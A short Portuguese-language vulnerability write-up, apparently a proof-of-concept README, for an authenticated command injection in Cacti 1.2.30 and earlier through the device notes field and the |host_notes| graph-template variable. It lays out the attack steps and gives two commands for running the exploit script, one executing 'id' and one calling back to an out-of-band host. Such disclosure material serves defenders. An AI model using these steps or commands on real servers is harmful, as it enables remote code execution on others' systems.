
Cacti ≤ 1.2.30 Auth RCE - Injeção de variável de host
Uma vulnerabilidade de injeção de comandos do sistema operacional no Cacti ≤ 1.2.30 permite que qualquer usuário autenticado com privilégios de criação de dispositivos e modelos de gráfico execute comandos arbitrários no servidor subjacente. A falha existe porque campos de metadados do host controlados pelo usuário (especificamente o campo de notas do dispositivo) são substituídos nos argumentos de linha de comando do RRDtool através do mecanismo de substituição de variáveis do Cacti, sem qualquer sanitização ou escape. Um atacante pode injetar metacaracteres de shell no campo de notas, criar um modelo de gráfico que referencie a variável |host_notes| e acionar a renderização do gráfico para obter execução remota completa de código como o usuário do servidor web.
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --cmd 'id'
Execução de comandos OOB:
python3 cacti_rce_poc.py --url http://target/cacti --user admin --pass admin --oob your.oastify.com

